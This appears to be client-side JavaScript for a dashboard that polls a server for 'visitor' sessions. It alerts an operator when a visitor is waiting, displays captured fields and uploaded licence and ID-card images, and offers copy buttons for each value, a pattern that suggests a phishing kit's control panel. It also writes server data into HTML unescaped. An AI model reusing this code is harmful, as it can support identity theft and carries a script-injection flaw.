 page_offset = 0;

    function loadLogs(){

        var uniqueid = localStorage.getItem('uniqueid');
       $.ajax({
        url:urlroot + "/Dashboard/logs",
        type:"POST",
        data:{uniqueid,page_offset},
        dataType:"JSON",
        success:function(res){
            // console.log(res.data);
            $('#logs_div').empty();
            var current = parseInt(res.data.length);
             page_offset = parseInt(page_offset) +  current;  
            if(res.data.length != 0){
                $.each(res.data,function(index,element){
                    var user_log;
                    var logs ;
                    if(element.reply != null){
                        user_log = element.reply;
                        logs = element.logs
                    }else{
                        user_log = element.uniqueid;
                        logs = element.txt
                    }

                    $('#logs_div').prepend(`
                        <div class="timeline-item">
                        <div class="timeline-label fw-bolder text-info-800 fs-6" style="width: 140px;">
                        ${user_log}
                        </div>
                        <div class="timeline-badge">
                            <i class="fa fa-genderless text-warning fs-1"></i>
                        </div>
                        <div class="fw-mormal timeline-content text-muted ps-3">${logs}</div>
                    </div>

                    `)
                })
            }
           
            status = res.detail.status;
            last_login = res.detail.capture_time;
            if(last_login > 15 && status == "Loading"){
                var set_class = "container_alert";
            }
            else if(last_login > 15 && status != "Loading"){
                set_class = "container_alert";
            }
            else if(last_login < 15  && status == "Loading"){
                var set_class = "container_loging";
            }
            else if(last_login < 15 && status != "Loading"){
                var set_class = "container_alert_1";
            }
            console.log(set_class)
            if(last_login > 15){
                status = "Visitor offline ...";
            }else if(status == "Loading"){
                status = "Visitor waiting ...";
                 ding.play();
            }

            $('#alert_bar').removeAttr("class");
            $('#alert_bar').addClass(set_class);
            $('.title_alert').html(status);
            

            
        }
       })

    }


    setInterval(function(){
    var uniqueid = localStorage.getItem('uniqueid');

        $.ajax({
            
            url:urlroot + "/Dashboard/detail_load",
            type:"POST",
            data:{uniqueid},
            dataType:"JSON",
            success:function(res){
                $('.detial_load').empty();
                loadLogs()
                $.each(res,function(inx,ele){



                    let index_Val = inx.replaceAll("_"," ");

                    if(ele != null){
                        var set_vl = ele;
                    }else{
                        var set_vl = "";

                    }

                   if(inx == "license_front"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "license_back"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "id_img_front"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else if(inx == "id_img_back"){
                      var set_val_element =   `${index_Val}  =>  <img width='200' src='${urlroot}/uploads/${ele}'>`
                    }else{
                        var set_val_element = index_Val+" => "+set_vl
                    }
                    $('.detial_load').append(`

                        <div class="d-flex justify-content-between">
                        <div class="p-2">
                           ${set_val_element}
                        </div>
                        <div class="p-2">
                        <button class="btn btn-primary btn-sm" data-copy="${(ele != null)?ele:""}" onclick="copyToClipboard1($(this))" >Copy</button></div>
                    </div>

                        `)

                    
                    
                });
            }
    })
    },6000)



